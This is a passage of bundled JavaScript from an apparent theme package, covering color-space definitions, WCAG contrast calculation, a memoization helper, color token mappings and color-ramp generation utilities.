2622 indianred: [205 / 255, 92 / 255, 92 / 255],
2623 indigo: [75 / 255, 0, 130 / 255],
2624 ivory: [1, 1, 240 / 255],
2625 khaki: [240 / 255, 230 / 255, 140 / 255],
2626 lavender: [230 / 255, 230 / 255, 250 / 255],
2627 lavenderblush: [1, 240 / 255, 245 / 255],
2628 lawngreen: [124 / 255, 252 / 255, 0],
2629 lemonchiffon: [1, 250 / 255, 205 / 255],
2630 lightblue: [173 / 255, 216 / 255, 230 / 255],
2631 lightcoral: [240 / 255, 128 / 255, 128 / 255],
2632 lightcyan: [224 / 255, 1, 1],
2633 lightgoldenrodyellow: [250 / 255, 250 / 255, 210 / 255],
2634 lightgray: [211 / 255, 211 / 255, 211 / 255],
2635 lightgreen: [144 / 255, 238 / 255, 144 / 255],
2636 lightgrey: [211 / 255, 211 / 255, 211 / 255],
2637 lightpink: [1, 182 / 255, 193 / 255],
2638 lightsalmon: [1, 160 / 255, 122 / 255],
2639 lightseagreen: [32 / 255, 178 / 255, 170 / 255],
2640 lightskyblue: [135 / 255, 206 / 255, 250 / 255],
2641 lightslategray: [119 / 255, 136 / 255, 153 / 255],
2642 lightslategrey: [119 / 255, 136 / 255, 153 / 255],
2643 lightsteelblue: [176 / 255, 196 / 255, 222 / 255],
2644 lightyellow: [1, 1, 224 / 255],
2645 lime: [0, 1, 0],
2646 limegreen: [50 / 255, 205 / 255, 50 / 255],
2647 linen: [250 / 255, 240 / 255, 230 / 255],
2648 magenta: [1, 0, 1],
2649 maroon: [128 / 255, 0, 0],
2650 mediumaquamarine: [102 / 255, 205 / 255, 170 / 255],
2651 mediumblue: [0, 0, 205 / 255],
2652 mediumorchid: [186 / 255, 85 / 255, 211 / 255],
2653 mediumpurple: [147 / 255, 112 / 255, 219 / 255],
2654 mediumseagreen: [60 / 255, 179 / 255, 113 / 255],
2655 mediumslateblue: [123 / 255, 104 / 255, 238 / 255],
2656 mediumspringgreen: [0, 250 / 255, 154 / 255],
2657 mediumturquoise: [72 / 255, 209 / 255, 204 / 255],
2658 mediumvioletred: [199 / 255, 21 / 255, 133 / 255],
2659 midnightblue: [25 / 255, 25 / 255, 112 / 255],
2660 mintcream: [245 / 255, 1, 250 / 255],
2661 mistyrose: [1, 228 / 255, 225 / 255],
2662 moccasin: [1, 228 / 255, 181 / 255],
2663 navajowhite: [1, 222 / 255, 173 / 255],
2664 navy: [0, 0, 128 / 255],
2665 oldlace: [253 / 255, 245 / 255, 230 / 255],
2666 olive: [128 / 255, 128 / 255, 0],
2667 olivedrab: [107 / 255, 142 / 255, 35 / 255],
2668 orange: [1, 165 / 255, 0],
2669 orangered: [1, 69 / 255, 0],
2670 orchid: [218 / 255, 112 / 255, 214 / 255],
2671 palegoldenrod: [238 / 255, 232 / 255, 170 / 255],
2672 palegreen: [152 / 255, 251 / 255, 152 / 255],
2673 paleturquoise: [175 / 255, 238 / 255, 238 / 255],
2674 palevioletred: [219 / 255, 112 / 255, 147 / 255],
2675 papayawhip: [1, 239 / 255, 213 / 255],
2676 peachpuff: [1, 218 / 255, 185 / 255],
2677 peru: [205 / 255, 133 / 255, 63 / 255],
2678 pink: [1, 192 / 255, 203 / 255],
2679 plum: [221 / 255, 160 / 255, 221 / 255],
2680 powderblue: [176 / 255, 224 / 255, 230 / 255],
2681 purple: [128 / 255, 0, 128 / 255],
2682 rebeccapurple: [102 / 255, 51 / 255, 153 / 255],
2683 red: [1, 0, 0],
2684 rosybrown: [188 / 255, 143 / 255, 143 / 255],
2685 royalblue: [65 / 255, 105 / 255, 225 / 255],
2686 saddlebrown: [139 / 255, 69 / 255, 19 / 255],
2687 salmon: [250 / 255, 128 / 255, 114 / 255],
2688 sandybrown: [244 / 255, 164 / 255, 96 / 255],
2689 seagreen: [46 / 255, 139 / 255, 87 / 255],
2690 seashell: [1, 245 / 255, 238 / 255],
2691 sienna: [160 / 255, 82 / 255, 45 / 255],
2692 silver: [192 / 255, 192 / 255, 192 / 255],
2693 skyblue: [135 / 255, 206 / 255, 235 / 255],
2694 slateblue: [106 / 255, 90 / 255, 205 / 255],
2695 slategray: [112 / 255, 128 / 255, 144 / 255],
2696 slategrey: [112 / 255, 128 / 255, 144 / 255],
2697 snow: [1, 250 / 255, 250 / 255],
2698 springgreen: [0, 1, 127 / 255],
2699 steelblue: [70 / 255, 130 / 255, 180 / 255],
2700 tan: [210 / 255, 180 / 255, 140 / 255],
2701 teal: [0, 128 / 255, 128 / 255],
2702 thistle: [216 / 255, 191 / 255, 216 / 255],
2703 tomato: [1, 99 / 255, 71 / 255],
2704 turquoise: [64 / 255, 224 / 255, 208 / 255],
2705 violet: [238 / 255, 130 / 255, 238 / 255],
2706 wheat: [245 / 255, 222 / 255, 179 / 255],
2707 white: [1, 1, 1],
2708 whitesmoke: [245 / 255, 245 / 255, 245 / 255],
2709 yellow: [1, 1, 0],
2710 yellowgreen: [154 / 255, 205 / 255, 50 / 255]
2711 };
2712
2713 // packages/theme/node_modules/colorjs.io/src/spaces/srgb.js
2714 var coordGrammar = Array(3).fill("<percentage> | <number>[0, 255]");
2715 var coordGrammarNumber = Array(3).fill("<number>[0, 255]");
2716 var srgb_default = new RGBColorSpace({
2717 id: "srgb",
2718 name: "sRGB",
2719 base: srgb_linear_default,
2720 fromBase: (rgb) => {
2721 return rgb.map((val) => {
2722 let sign = val < 0 ? -1 : 1;
2723 let abs = val * sign;
2724 if (abs > 31308e-7) {
2725 return sign * (1.055 * abs ** (1 / 2.4) - 0.055);
2726 }
2727 return 12.92 * val;
2728 });
2729 },
2730 toBase: (rgb) => {
2731 return rgb.map((val) => {
2732 let sign = val < 0 ? -1 : 1;
2733 let abs = val * sign;
2734 if (abs <= 0.04045) {
2735 return val / 12.92;
2736 }
2737 return sign * ((abs + 0.055) / 1.055) ** 2.4;
2738 });
2739 },
2740 formats: {
2741 rgb: {
2742 coords: coordGrammar
2743 },
2744 rgb_number: {
2745 name: "rgb",
2746 commas: true,
2747 coords: coordGrammarNumber,
2748 alpha: false
2749 },
2750 color: {
2751 /* use defaults */
2752 },
2753 rgba: {
2754 coords: coordGrammar,
2755 commas: true,
2756 alpha: true
2757 },
2758 rgba_number: {
2759 name: "rgba",
2760 commas: true,
2761 coords: coordGrammarNumber
2762 },
2763 hex: {
2764 type: "custom",
2765 toGamut: true,
2766 test: (str) => /^#(([a-f0-9]{2}){3,4}|[a-f0-9]{3,4})$/i.test(str),
2767 parse(str) {
2768 if (str.length <= 5) {
2769 str = str.replace(/[a-f0-9]/gi, "$&$&");
2770 }
2771 let rgba = [];
2772 str.replace(/[a-f0-9]{2}/gi, (component) => {
2773 rgba.push(parseInt(component, 16) / 255);
2774 });
2775 return {
2776 spaceId: "srgb",
2777 coords: (
2778 /** @type {Coords} */
2779 rgba.slice(0, 3)
2780 ),
2781 alpha: (
2782 /** @type {number} */
2783 rgba.slice(3)[0]
2784 )
2785 };
2786 },
2787 serialize: (coords, alpha, {
2788 collapse = true,
2789 // collapse to 3-4 digit hex when possible?
2790 alpha: alphaFormat
2791 } = {}) => {
2792 if (alphaFormat !== false && alpha < 1 || alphaFormat === true) {
2793 coords.push(alpha);
2794 }
2795 coords = /** @type {[number, number, number]} */
2796 coords.map((c) => Math.round(c * 255));
2797 let collapsible = collapse && coords.every((c) => c % 17 === 0);
2798 let hex = coords.map((c) => {
2799 if (collapsible) {
2800 return (c / 17).toString(16);
2801 }
2802 return c.toString(16).padStart(2, "0");
2803 }).join("");
2804 return "#" + hex;
2805 }
2806 },
2807 keyword: {
2808 type: "custom",
2809 test: (str) => /^[a-z]+$/i.test(str),
2810 parse(str) {
2811 str = str.toLowerCase();
2812 let ret = { spaceId: "srgb", coords: null, alpha: 1 };
2813 if (str === "transparent") {
2814 ret.coords = keywords_default.black;
2815 ret.alpha = 0;
2816 } else {
2817 ret.coords = keywords_default[str];
2818 }
2819 if (ret.coords) {
2820 return ret;
2821 }
2822 }
2823 }
2824 }
2825 });
2826
2827 // packages/theme/node_modules/colorjs.io/src/spaces/p3.js
2828 var p3_default = new RGBColorSpace({
2829 id: "p3",
2830 cssId: "display-p3",
2831 name: "P3",
2832 base: p3_linear_default,
2833 // Gamma encoding/decoding is the same as sRGB
2834 fromBase: srgb_default.fromBase,
2835 toBase: srgb_default.toBase
2836 });
2837
2838 // packages/theme/node_modules/colorjs.io/src/luminance.js
2839 function getLuminance(color) {
2840 return get(color, [xyz_d65_default, "y"]);
2841 }
2842
2843 // packages/theme/node_modules/colorjs.io/src/contrast/WCAG21.js
2844 function contrastWCAG21(color1, color2) {
2845 color1 = getColor(color1);
2846 color2 = getColor(color2);
2847 let Y1 = Math.max(getLuminance(color1), 0);
2848 let Y2 = Math.max(getLuminance(color2), 0);
2849 if (Y2 > Y1) {
2850 [Y1, Y2] = [Y2, Y1];
2851 }
2852 return (Y1 + 0.05) / (Y2 + 0.05);
2853 }
2854
2855 // packages/theme/node_modules/colorjs.io/src/spaces/hsl.js
2856 var hsl_default = new ColorSpace({
2857 id: "hsl",
2858 name: "HSL",
2859 coords: {
2860 h: {
2861 refRange: [0, 360],
2862 type: "angle",
2863 name: "Hue"
2864 },
2865 s: {
2866 range: [0, 100],
2867 name: "Saturation"
2868 },
2869 l: {
2870 range: [0, 100],
2871 name: "Lightness"
2872 }
2873 },
2874 base: srgb_default,
2875 // Adapted from https://drafts.csswg.org/css-color-4/better-rgbToHsl.js
2876 fromBase: (rgb) => {
2877 let max = Math.max(...rgb);
2878 let min = Math.min(...rgb);
2879 let [r, g2, b2] = rgb;
2880 let [h, s, l] = [null, 0, (min + max) / 2];
2881 let d2 = max - min;
2882 if (d2 !== 0) {
2883 s = l === 0 || l === 1 ? 0 : (max - l) / Math.min(l, 1 - l);
2884 switch (max) {
2885 case r:
2886 h = (g2 - b2) / d2 + (g2 < b2 ? 6 : 0);
2887 break;
2888 case g2:
2889 h = (b2 - r) / d2 + 2;
2890 break;
2891 case b2:
2892 h = (r - g2) / d2 + 4;
2893 }
2894 h = h * 60;
2895 }
2896 if (s < 0) {
2897 h += 180;
2898 s = Math.abs(s);
2899 }
2900 if (h >= 360) {
2901 h -= 360;
2902 }
2903 return [h, s * 100, l * 100];
2904 },
2905 // Adapted from https://en.wikipedia.org/wiki/HSL_and_HSV#HSL_to_RGB_alternative
2906 toBase: (hsl) => {
2907 let [h, s, l] = hsl;
2908 h = h % 360;
2909 if (h < 0) {
2910 h += 360;
2911 }
2912 s /= 100;
2913 l /= 100;
2914 function f(n2) {
2915 let k = (n2 + h / 30) % 12;
2916 let a = s * Math.min(l, 1 - l);
2917 return l - a * Math.max(-1, Math.min(k - 3, 9 - k, 1));
2918 }
2919 return [f(0), f(8), f(4)];
2920 },
2921 formats: {
2922 hsl: {
2923 coords: ["<number> | <angle>", "<percentage> | <number>", "<percentage> | <number>"]
2924 },
2925 hsla: {
2926 coords: ["<number> | <angle>", "<percentage> | <number>", "<percentage> | <number>"],
2927 commas: true,
2928 alpha: true
2929 }
2930 }
2931 });
2932
2933 // packages/theme/node_modules/colorjs.io/src/spaces/oklch.js
2934 var oklch_default = new ColorSpace({
2935 id: "oklch",
2936 name: "OkLCh",
2937 coords: {
2938 l: {
2939 refRange: [0, 1],
2940 name: "Lightness"
2941 },
2942 c: {
2943 refRange: [0, 0.4],
2944 name: "Chroma"
2945 },
2946 h: {
2947 refRange: [0, 360],
2948 type: "angle",
2949 name: "Hue"
2950 }
2951 },
2952 white: "D65",
2953 base: oklab_default,
2954 fromBase: lch_default.fromBase,
2955 toBase: lch_default.toBase,
2956 formats: {
2957 oklch: {
2958 coords: ["<percentage> | <number>", "<number> | <percentage>", "<number> | <angle>"]
2959 }
2960 }
2961 });
2962
2963 // node_modules/memize/dist/index.js
2964 function memize(fn, options) {
2965 var size = 0;
2966 var head;
2967 var tail;
2968 options = options || {};
2969 function memoized() {
2970 var node = head, len = arguments.length, args, i;
2971 searchCache: while (node) {
2972 if (node.args.length !== arguments.length) {
2973 node = node.next;
2974 continue;
2975 }
2976 for (i = 0; i < len; i++) {
2977 if (node.args[i] !== arguments[i]) {
2978 node = node.next;
2979 continue searchCache;
2980 }
2981 }
2982 if (node !== head) {
2983 if (node === tail) {
2984 tail = node.prev;
2985 }
2986 node.prev.next = node.next;
2987 if (node.next) {
2988 node.next.prev = node.prev;
2989 }
2990 node.next = head;
2991 node.prev = null;
2992 head.prev = node;
2993 head = node;
2994 }
2995 return node.val;
2996 }
2997 args = new Array(len);
2998 for (i = 0; i < len; i++) {
2999 args[i] = arguments[i];
3000 }
3001 node = {
3002 args,
3003 // Generate the result from original function
3004 val: fn.apply(null, args)
3005 };
3006 if (head) {
3007 head.prev = node;
3008 node.next = head;
3009 } else {
3010 tail = node;
3011 }
3012 if (size === /** @type {MemizeOptions} */
3013 options.maxSize) {
3014 tail = /** @type {MemizeCacheNode} */
3015 tail.prev;
3016 tail.next = null;
3017 } else {
3018 size++;
3019 }
3020 head = node;
3021 return node.val;
3022 }
3023 memoized.clear = function() {
3024 head = null;
3025 tail = null;
3026 size = 0;
3027 };
3028 return memoized;
3029 }
3030
3031 // packages/theme/build-module/use-theme-provider-styles.mjs
3032 var import_element2 = __toESM(require_element(), 1);
3033
3034 // packages/theme/build-module/color-ramps/lib/register-color-spaces.mjs
3035 ColorSpace.register(srgb_default);
3036 ColorSpace.register(oklch_default);
3037 ColorSpace.register(p3_default);
3038 ColorSpace.register(hsl_default);
3039
3040 // packages/theme/build-module/prebuilt/ts/color-tokens.mjs
3041 var color_tokens_default = {
3042 "primary-bgFill1": ["bg-interactive-brand-strong"],
3043 "primary-fgFill": [
3044 "fg-interactive-brand-strong",
3045 "fg-interactive-brand-strong-active"
3046 ],
3047 "primary-bgFill2": ["bg-interactive-brand-strong-active"],
3048 "primary-surface4": ["bg-interactive-brand-weak-active"],
3049 "primary-fgSurface3": [
3050 "fg-interactive-brand",
3051 "fg-interactive-brand-active"
3052 ],
3053 "primary-stroke3": [
3054 "bg-thumb-brand",
3055 "bg-thumb-brand-active",
3056 "stroke-focus-brand",
3057 "stroke-interactive-brand",
3058 "stroke-surface-brand-strong"
3059 ],
3060 "primary-stroke4": ["stroke-interactive-brand-active"],
3061 "primary-stroke1": ["stroke-surface-brand"],
3062 "primary-surface1": ["bg-surface-brand"],
3063 "info-surface2": ["bg-surface-info-weak"],
3064 "info-surface4": ["bg-surface-info"],
3065 "info-fgSurface4": ["fg-content-info"],
3066 "info-fgSurface3": ["fg-content-info-weak"],
3067 "info-stroke3": ["stroke-surface-info-strong"],
3068 "info-stroke1": ["stroke-surface-info"],
3069 "success-surface2": ["bg-surface-success-weak"],
3070 "success-surface4": ["bg-surface-success"],
3071 "success-fgSurface4": ["fg-content-success"],
3072 "success-fgSurface3": ["fg-content-success-weak"],
3073 "success-stroke3": ["stroke-surface-success-strong"],
3074 "success-stroke1": ["stroke-surface-success"],
3075 "warning-surface2": ["bg-surface-warning-weak"],
3076 "warning-surface4": ["bg-surface-warning"],
3077 "warning-fgSurface4": ["fg-content-warning"],
3078 "warning-fgSurface3": ["fg-content-warning-weak"],
3079 "warning-stroke3": ["stroke-surface-warning-strong"],
3080 "warning-stroke1": ["stroke-surface-warning"],
3081 "error-bgFill1": ["bg-interactive-error-strong"],
3082 "error-fgFill": [
3083 "fg-interactive-error-strong",
3084 "fg-interactive-error-strong-active"
3085 ],
3086 "error-bgFill2": ["bg-interactive-error-strong-active"],
3087 "error-surface2": [
3088 "bg-interactive-error-active",
3089 "bg-surface-error-weak"
3090 ],
3091 "error-surface4": [
3092 "bg-interactive-error-weak-active",
3093 "bg-surface-error"
3094 ],
3095 "error-fgSurface4": ["fg-content-error"],
3096 "error-fgSurface3": [
3097 "fg-content-error-weak",
3098 "fg-interactive-error",
3099 "fg-interactive-error-active"
3100 ],
3101 "error-stroke3": [
3102 "stroke-interactive-error",
3103 "stroke-interactive-error-strong",
3104 "stroke-surface-error-strong"
3105 ],
3106 "error-stroke4": ["stroke-interactive-error-active"],
3107 "error-stroke1": ["stroke-surface-error"],
3108 "bg-surface2": ["bg-surface-neutral"],
3109 "bg-surface5": ["bg-interactive-neutral-strong-disabled"],
3110 "bg-surface4": ["bg-interactive-neutral-weak-active"],
3111 "bg-surface3": ["bg-surface-neutral-strong"],
3112 "bg-fgSurface4": [
3113 "fg-content-neutral",
3114 "fg-interactive-neutral",
3115 "fg-interactive-neutral-active"
3116 ],
3117 "bg-fgSurface3": [
3118 "fg-content-neutral-weak",
3119 "fg-interactive-neutral-weak"
3120 ],
3121 "bg-fgSurface2": [
3122 "fg-interactive-neutral-disabled",
3123 "fg-interactive-neutral-strong-disabled",
3124 "fg-interactive-neutral-weak-disabled"
3125 ],
3126 "bg-stroke3": [
3127 "bg-thumb-neutral-weak",
3128 "stroke-interactive-neutral",
3129 "stroke-surface-neutral-strong"
3130 ],
3131 "bg-stroke4": [
3132 "bg-thumb-neutral-weak-active",
3133 "stroke-interactive-neutral-active",
3134 "stroke-interactive-neutral-strong"
3135 ],
3136 "bg-stroke2": [
3137 "bg-thumb-neutral-disabled",
3138 "bg-track-neutral",
3139 "stroke-interactive-neutral-disabled",
3140 "stroke-surface-neutral"
3141 ],
3142 "bg-stroke1": ["bg-track-neutral-weak", "stroke-surface-neutral-weak"],
3143 "bg-bgFillInverted2": ["bg-interactive-neutral-strong-active"],
3144 "bg-bgFillInverted1": ["bg-interactive-neutral-strong"],
3145 "bg-fgFillInverted": [
3146 "fg-interactive-neutral-strong",
3147 "fg-interactive-neutral-strong-active"
3148 ],
3149 "bg-surface1": ["bg-surface-neutral-weak"],
3150 "caution-surface2": ["bg-surface-caution-weak"],
3151 "caution-surface4": ["bg-surface-caution"],
3152 "caution-fgSurface4": ["fg-content-caution"],
3153 "caution-fgSurface3": ["fg-content-caution-weak"]
3154 };
3155
3156 // packages/theme/build-module/color-ramps/lib/color-utils.mjs
3157 function getColorString(color) {
3158 const rgbRounded = serialize(to(color, srgb_default));
3159 return serialize(rgbRounded, { format: "hex" });
3160 }
3161 function getContrast(colorA, colorB) {
3162 return contrastWCAG21(colorA, colorB);
3163 }
3164 function clampToGamut(c) {
3165 return to(toGamut(c, { space: srgb_default, method: "css" }), oklch_default);
3166 }
3167
3168 // packages/theme/build-module/color-ramps/lib/constants.mjs
3169 var WHITE = to("white", oklch_default);
3170 var BLACK = to("black", oklch_default);
3171 var UNIVERSAL_CONTRAST_TOPUP = 0.02;
3172 var WHITE_TEXT_CONTRAST_MARGIN = 3.1;
3173 var ACCENT_SCALE_BASE_LIGHTNESS_THRESHOLDS = {
3174 lighter: { min: 0.2, max: 0.4 },
3175 darker: { min: 0.75, max: 0.98 }
3176 };
3177 var CONTRAST_EPSILON = 4e-3;
3178 var MAX_BISECTION_ITERATIONS = 10;
3179 var DEFAULT_SEED_COLORS = {
3180 bg: "#f8f8f8",
3181 primary: "#3858e9",
3182 info: "#0090ff",
3183 success: "#4ab866",
3184 caution: "#f0d149",
3185 warning: "#f0b849",
3186 error: "#cc1818"
3187 };
3188
3189 // packages/theme/build-module/color-ramps/lib/utils.mjs
3190 function buildDependencyGraph(config) {
3191 const dependencies = /* @__PURE__ */ new Map();
3192 const dependents = /* @__PURE__ */ new Map();
3193 Object.keys(config).forEach((step) => {
3194 dependencies.set(step, []);
3195 });
3196 dependents.set("seed", []);
3197 Object.keys(config).forEach((step) => {
3198 dependents.set(step, []);
3199 });
3200 Object.entries(config).forEach(([stepName, stepConfig]) => {
3201 const step = stepName;
3202 const reference = stepConfig.contrast.reference;
3203 dependencies.get(step).push(reference);
3204 dependents.get(reference).push(step);
3205 if (stepConfig.sameAsIfPossible) {
3206 dependencies.get(step).push(stepConfig.sameAsIfPossible);
3207 dependents.get(stepConfig.sameAsIfPossible).push(step);
3208 }
3209 });
3210 return { dependencies, dependents };
3211 }
3212 function sortByDependency(config) {
3213 const { dependents } = buildDependencyGraph(config);
3214 const result = [];
3215 const visited = /* @__PURE__ */ new Set();
3216 const visiting = /* @__PURE__ */ new Set();
3217 function visit(node) {
3218 if (visiting.has(node)) {
3219 throw new Error(
3220 `Circular dependency detected involving step: ${String(
3221 node
3222 )}`
3223 );
3224 }
3225 if (visited.has(node)) {
3226 return;
3227 }
3228 visiting.add(node);
3229 const nodeDependents = dependents.get(node) || [];
3230 nodeDependents.forEach((dependent) => {
3231 visit(dependent);
3232 });
3233 visiting.delete(node);
3234 visited.add(node);
3235 if (node !== "seed") {
3236 result.unshift(node);
3237 }
3238 }
3239 visit("seed");
3240 return result;
3241 }
3242 function stepsForStep(stepName, config) {
3243 const result = /* @__PURE__ */ new Set();
3244 function visit(step) {
3245 if (step === "seed" || result.has(step)) {
3246 return;
3247 }
3248 const stepConfig = config[step];
3249 if (!stepConfig) {
3250 return;
3251 }
3252 visit(stepConfig.contrast.reference);
3253 if (stepConfig.sameAsIfPossible) {
3254 visit(stepConfig.sameAsIfPossible);
3255 }
3256 result.add(step);
3257 }
3258 visit(stepName);
3259 return Array.from(result);
3260 }
3261 function computeBetterFgColorDirection(seed, preferLighter) {
3262 const contrastAgainstBlack = getContrast(seed, BLACK);
3263 const contrastAgainstWhite = getContrast(seed, WHITE);
3264 return contrastAgainstBlack > contrastAgainstWhite + (preferLighter ? WHITE_TEXT_CONTRAST_MARGIN : 0) ? { better: "darker", worse: "lighter" } : { better: "lighter", worse: "darker" };
3265 }
3266 function adjustContrastTarget(target) {
3267 if (target === 1) {
3268 return 1;
3269 }
3270 return target + UNIVERSAL_CONTRAST_TOPUP;
3271 }
3272 function clampAccentScaleReferenceLightness(rawLightness, direction) {
3273 const thresholds = ACCENT_SCALE_BASE_LIGHTNESS_THRESHOLDS[direction];
3274 return Math.max(thresholds.min, Math.min(thresholds.max, rawLightness));
3275 }
3276 function solveWithBisect(calculateC, calculateValue, initLowerL, initLowerValue, initUpperL, initUpperValue) {
3277 let lowerL = initLowerL;
3278 let lowerValue = initLowerValue;
3279 let lowerReplaced = false;
3280 let upperL = initUpperL;
3281 let upperValue = initUpperValue;
3282 let upperReplaced = false;
3283 let bestC;
3284 let bestValue;
3285 let iterations = 0;
3286 while (true) {
3287 iterations++;
3288 const newL = (lowerL * upperValue - upperL * lowerValue) / (upperValue - lowerValue);
3289 bestC = calculateC(newL);
3290 bestValue = calculateValue(bestC);
3291 if (Math.abs(bestValue) <= CONTRAST_EPSILON || iterations >= MAX_BISECTION_ITERATIONS) {
3292 break;
3293 }
3294 if (bestValue <= 0) {
3295 lowerL = newL;
3296 lowerValue = bestValue;
3297 if (lowerReplaced) {
3298 upperValue /= 2;
3299 }
3300 lowerReplaced = true;
3301 upperReplaced = false;
3302 } else {
3303 upperL = newL;
3304 upperValue = bestValue;
3305 if (upperReplaced) {
3306 lowerValue /= 2;
3307 }
3308 upperReplaced = true;
3309 lowerReplaced = false;
3310 }
3311 }
3312 return bestC;
3313 }
3314
3315 // packages/theme/build-module/color-ramps/lib/taper-chroma.mjs
3316 function taperChroma(seed, lTarget, options = {}) {
3317 const gamut = options.gamut ?? srgb_default;
3318 const alpha = options.alpha ?? 0.65;
3319 const carry = options.carry ?? 0.5;
3320 const cUpperBound = options.cUpperBound ?? 0.45;
3321 const radiusLight = options.radiusLight ?? 0.2;
3322 const radiusDark = options.radiusDark ?? 0.2;
3323 const kLight = options.kLight ?? 0.85;
3324 const kDark = options.kDark ?? 0.85;
3325 const achromaEpsilon = options.achromaEpsilon ?? 5e-3;
3326 const cSeed = Math.max(0, get(seed, [oklch_default, "c"]));
3327 let hSeed = get(seed, [oklch_default, "h"]);
3328 const chromaIsTiny = cSeed < achromaEpsilon;
3329 const hueIsInvalid = hSeed === null || !Number.isFinite(hSeed);
3330 if (chromaIsTiny || hueIsInvalid) {
3331 if (typeof options.hueFallback === "number") {
3332 hSeed = normalizeHue(options.hueFallback);
3333 } else {
3334 return {
3335 space: oklch_default,
3336 coords: [clamp01(lTarget), 0, 0],
3337 alpha: 1
3338 };
3339 }
3340 }
3341 const lSeed = clamp01(get(seed, [oklch_default, "l"]));
3342 const cmaxSeed = getCachedMaxChromaAtLH(lSeed, hSeed, gamut, cUpperBound);
3343 const cmaxTarget = getCachedMaxChromaAtLH(
3344 clamp01(lTarget),
3345 hSeed,
3346 gamut,
3347 cUpperBound
3348 );
3349 let seedRelative = 0;
3350 const denom = cmaxSeed > 0 ? cmaxSeed : 1e-6;
3351 seedRelative = clamp01(cSeed / denom);
3352 const cIntendedBase = alpha * cmaxTarget;
3353 const cWithCarry = cIntendedBase * Math.pow(seedRelative, clamp01(carry));
3354 const t = continuousTaper(lSeed, lTarget, {
3355 radiusLight,
3356 radiusDark,
3357 kLight,
3358 kDark
3359 });
3360 const cPlanned = cWithCarry * t;
3361 const lOut = clamp01(lTarget);
3362 return { l: lOut, c: cPlanned };
3363 }
3364 function clamp01(x) {
3365 if (x < 0) {
3366 return 0;
3367 }
3368 if (x > 1) {
3369 return 1;
3370 }
3371 return x;
3372 }
3373 function normalizeHue(h) {
3374 let hue = h % 360;
3375 if (hue < 0) {
3376 hue += 360;
3377 }
3378 return hue;
3379 }
3380 function raisedCosine(u) {
3381 const x = clamp01(u);
3382 return 0.5 - 0.5 * Math.cos(Math.PI * x);
3383 }
3384 function continuousTaper(seedL, targetL, opts) {
3385 const d2 = targetL - seedL;
3386 if (d2 >= 0) {
3387 const u2 = opts.radiusLight > 0 ? Math.abs(d2) / opts.radiusLight : 1;
3388 const w2 = raisedCosine(u2 > 1 ? 1 : u2);
3389 return 1 - (1 - opts.kLight) * w2;
3390 }
3391 const u = opts.radiusDark > 0 ? Math.abs(d2) / opts.radiusDark : 1;
3392 const w = raisedCosine(u > 1 ? 1 : u);
3393 return 1 - (1 - opts.kDark) * w;
3394 }
3395 var maxChromaCache = /* @__PURE__ */ new Map();
3396 function keyMax(l, h, gamut, cap) {
3397 const lq = quantize(l, 0.05);
3398 const hq = quantize(normalizeHue(h), 10);
3399 const cq = quantize(cap, 0.05);
3400 return `${gamut}|L:${lq}|H:${hq}|cap:${cq}`;
3401 }
3402 function quantize(x, step) {
3403 const k = Math.round(x / step);
3404 return k * step;
3405 }
3406 function getCachedMaxChromaAtLH(l, h, gamutSpace, cap) {
3407 const gamut = gamutSpace.id;
3408 const key = keyMax(l, h, gamut, cap);
3409 const hit = maxChromaCache.get(key);
3410 if (typeof hit === "number") {
3411 return hit;
3412 }
3413 const computed = maxInGamutChromaAtLH(l, h, gamutSpace, cap);
3414 maxChromaCache.set(key, computed);
3415 return computed;
3416 }
3417 function maxInGamutChromaAtLH(l, h, gamutSpace, cap) {
3418 const probe = {
3419 space: oklch_default,
3420 coords: [l, cap, h],
3421 alpha: 1
3422 };
3423 const clamped = toGamut(probe, { space: gamutSpace, method: "css" });
3424 return get(clamped, [oklch_default, "c"]);
3425 }
3426
3427 // packages/theme/build-module/color-ramps/lib/find-color-with-constraints.mjs
3428 function cdiff(c13, c23) {
3429 return Math.log(c13 / c23);
3430 }
3431 function findColorMeetingRequirements(reference, seed, target, direction, {
3432 lightnessConstraint,
3433 taperChromaOptions
3434 } = {}) {
3435 if (target <= 1) {
3436 return {
3437 color: reference,
3438 reached: true,
3439 achieved: 1
3440 };
3441 }
3442 function getColorForL(l) {
3443 let newL = l;
3444 let newC = get(seed, [oklch_default, "c"]);
3445 if (taperChromaOptions) {
3446 const tapered = taperChroma(seed, newL, taperChromaOptions);
3447 if ("l" in tapered && "c" in tapered) {
3448 newL = tapered.l;
3449 newC = tapered.c;
3450 } else {
3451 return tapered;
3452 }
3453 }
3454 return clampToGamut({
3455 spaceId: "oklch",
3456 coords: [newL, newC, get(seed, [oklch_default, "h"])]
3457 });
3458 }
3459 const mostContrastingL = direction === "lighter" ? 1 : 0;
3460 const mostContrastingColor = direction === "lighter" ? WHITE : BLACK;
3461 const highestContrast = getContrast(reference, mostContrastingColor);
3462 if (lightnessConstraint) {
3463 const colorWithExactL = getColorForL(lightnessConstraint.value);
3464 const exactLContrast = getContrast(reference, colorWithExactL);
3465 const exactLContrastMeetsTarget = cdiff(exactLContrast, target) >= -CONTRAST_EPSILON;
3466 if (exactLContrastMeetsTarget || lightnessConstraint.type === "force") {
3467 return {
3468 color: colorWithExactL,
3469 reached: exactLContrastMeetsTarget,
3470 achieved: exactLContrast,
3471 deficit: exactLContrastMeetsTarget ? cdiff(exactLContrast, highestContrast) : cdiff(target, exactLContrast)
3472 };
3473 }
3474 }
3475 if (cdiff(highestContrast, target) <= CONTRAST_EPSILON) {
3476 return {
3477 color: mostContrastingColor,
3478 reached: cdiff(highestContrast, target) >= -CONTRAST_EPSILON,
3479 achieved: highestContrast,
3480 deficit: cdiff(target, highestContrast)
3481 };
3482 }
3483 const lowerL = get(reference, [oklch_default, "l"]);
3484 const lowerContrast = cdiff(1, target);
3485 const upperL = mostContrastingL;
3486 const upperContrast = cdiff(highestContrast, target);
3487 const bestColor = solveWithBisect(
3488 getColorForL,
3489 (c) => cdiff(getContrast(reference, c), target),
3490 lowerL,
3491 lowerContrast,
3492 upperL,
3493 upperContrast
3494 );
3495 return {
3496 color: bestColor,
3497 reached: true,
3498 achieved: target,
3499 // Negative number that specifies how much room we have.
3500 deficit: cdiff(target, highestContrast)
3501 };
3502 }
3503
3504 // packages/theme/build-module/color-ramps/lib/index.mjs
3505 function calculateRamp({
3506 seed,
3507 sortedSteps,
3508 config,
3509 mainDir,
3510 oppDir,
3511 pinLightness
3512 }) {
3513 const rampResults = {};
3514 let warnings;
3515 let maxDeficit = -Infinity;
3516 let maxDeficitDirection = "lighter";
3517 let maxDeficitStep;
3518 const calculatedColors = /* @__PURE__ */ new Map();
3519 calculatedColors.set("seed", seed);
3520 for (const stepName of sortedSteps) {
3521 let computeDirection = function(color, followDirection) {
3522 if (followDirection === "main") {
